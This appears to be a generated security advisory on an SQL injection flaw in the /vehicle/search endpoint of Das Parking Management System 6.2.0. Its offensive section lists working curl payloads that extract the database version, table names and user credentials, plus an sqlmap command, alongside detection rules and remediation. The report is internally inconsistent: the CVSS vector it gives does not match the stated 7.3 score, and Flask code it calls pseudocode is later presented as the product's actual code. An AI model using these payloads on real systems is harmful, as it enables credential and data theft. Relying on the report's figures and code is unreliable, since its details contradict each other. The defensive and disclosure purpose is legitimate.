CVE-2025-6118

Executive Summary

CVE-2025-6118 is a critical SQL injection vulnerability discovered in the Das Parking Management System (停车场管理系统) version 6.2.0. The flaw resides in the /vehicle/search API endpoint, where the vehicleTypeCode parameter is not properly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, modification, or deletion of the underlying database. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary web application vulnerability.

CVSS Breakdown & Threat Level

CVSS Score: 7.3 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Database records can be modified or deleted.
• Availability (A): High – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit disclosure makes this a high-priority threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /vehicle/search API endpoint. The application likely constructs a SQL query by directly concatenating the user-supplied vehicleTypeCode parameter without proper sanitization or parameterized queries.

Example vulnerable code logic (pseudocode):

# Vulnerable Python/Flask example
@app.route('/vehicle/search', methods=['GET'])
def search_vehicle():
    vehicle_type = request.args.get('vehicleTypeCode')
    query = f"SELECT * FROM vehicles WHERE vehicle_type = '{vehicle_type}'"
    result = db.execute(query)
    return jsonify(result)

An attacker can inject SQL by providing a malicious vehicleTypeCode value, such as:

' OR '1'='1

This would result in the query:

SELECT * FROM vehicles WHERE vehicle_type = '' OR '1'='1'

Which returns all records in the table.

More advanced payloads can be used for UNION-based data extraction, error-based injection, or time-based blind injection to enumerate the database schema, extract credentials, or execute administrative commands.

Vulnerable vs. Patched Code

Vulnerable Code (Das Parking Management System 6.2.0):

# app.py (vulnerable)
@app.route('/vehicle/search')
def search_vehicle():
    vehicle_type = request.args.get('vehicleTypeCode')
    query = f"SELECT * FROM vehicles WHERE vehicle_type = '{vehicle_type}'"
    cursor = db.cursor()
    cursor.execute(query)
    results = cursor.fetchall()
    return jsonify(results)

Patched Code (Hypothetical fix):

# app.py (patched)
@app.route('/vehicle/search')
def search_vehicle():
    vehicle_type = request.args.get('vehicleTypeCode')
    query = "SELECT * FROM vehicles WHERE vehicle_type = %s"
    cursor = db.cursor()
    cursor.execute(query, (vehicle_type,))
    results = cursor.fetchall()
    return jsonify(results)

The patched version uses parameterized queries (prepared statements) which separate SQL logic from data, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Das Parking Management System 6.2.0
• Network access to the /vehicle/search endpoint

Exploitation Steps:

1. Basic SQL Injection Detection:

   curl "http://target.com/vehicle/search?vehicleTypeCode=test'"
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

2. Extract Database Version (MySQL example):

   curl "http://target.com/vehicle/search?vehicleTypeCode=' UNION SELECT @@version,2,3-- -"
   

3. Extract Table Names:

   curl "http://target.com/vehicle/search?vehicleTypeCode=' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"
   

4. Extract User Credentials:

   curl "http://target.com/vehicle/search?vehicleTypeCode=' UNION SELECT username,password,3 FROM users-- -"
   

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/vehicle/search?vehicleTypeCode=1" --batch --dbs

Blue Team (Defensive)

Detection & Response:

1. Monitor for SQL Injection Patterns:

   • Look for requests containing SQL keywords (UNION, SELECT, OR, AND, --, #) in the vehicleTypeCode parameter.
   • Alert on error messages containing SQL syntax errors.

2. Web Application Firewall (WAF) Rules:

   • Block requests with vehicleTypeCode containing single quotes ('), double hyphens (--), or SQL keywords.
   • Rate-limit requests to the /vehicle/search endpoint.

3. Database Activity Monitoring:

   • Enable logging of all SQL queries.
   • Alert on anomalous queries (e.g., UNION SELECT, INFORMATION_SCHEMA access).

4. Immediate Mitigation:

   • If patching is not possible, implement a virtual patch via WAF to block SQL injection payloads.
   • Restrict network access to the /vehicle/search endpoint to trusted IPs only.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /vehicle/search with vehicleTypeCode containing SQL syntax (e.g., ', --, UNION, SELECT).
• Outbound database connections from the web server to unusual IPs (data exfiltration).
• Error responses containing SQL error messages (e.g., You have an error in your SQL syntax).

File System IOCs:

• Unexpected files in the web root (e.g., webshells uploaded via SQL injection into INTO OUTFILE).
• Modified application files (e.g., app.py or similar).

Log IOCs:

• Web server logs showing repeated requests to /vehicle/search with varying vehicleTypeCode values.
• Database logs showing UNION SELECT or INFORMATION_SCHEMA queries.

Detection Engineering

YARA Rule

rule CVE_2025_6118_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-6118 in Das Parking Management System"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-6118"
    strings:
        $sqli1 = "vehicleTypeCode="
        $sqli2 = "' OR '1'='1"
        $sqli3 = "UNION SELECT"
        $sqli4 = "information_schema"
        $sqli5 = "-- -"
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against Das Parking Management System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-6118
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "vehicleTypeCode='"
            - "vehicleTypeCode=1'"
            - "vehicleTypeCode=' OR"
            - "vehicleTypeCode=' UNION"
            - "vehicleTypeCode='--"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in vehicle type codes (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-6118 SQL Injection Attempt - Das Parking Management System";
    flow:to_server,established;
    content:"/vehicle/search";
    http_uri;
    content:"vehicleTypeCode=";
    http_uri;
    pcre:"/vehicleTypeCode=[^&]*['\"]/Ui";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2025-6118;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: If the system is internet-facing, immediately restrict access to the /vehicle/search endpoint via firewall or WAF.
2. Apply Virtual Patching: Use a WAF to block SQL injection payloads targeting the vehicleTypeCode parameter.
3. Monitor Logs: Review web server and database logs for signs of exploitation.

Long-Term Fix:

1. Upgrade: Contact the vendor (Das) for an official patch. If unavailable, consider migrating to a supported alternative.
2. Code Fix: Implement parameterized queries (prepared statements) in all database interactions.
3. Input Validation: Validate and sanitize all user inputs, especially those used in SQL queries.
4. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., no DROP, CREATE, or FILE privileges).

Compromise Assessment:

• Check for unauthorized database access or data exfiltration.
• Look for webshells or backdoors in the web root.
• Review database logs for suspicious queries.

Report generated by Valters IT DevSecOps & CTI Division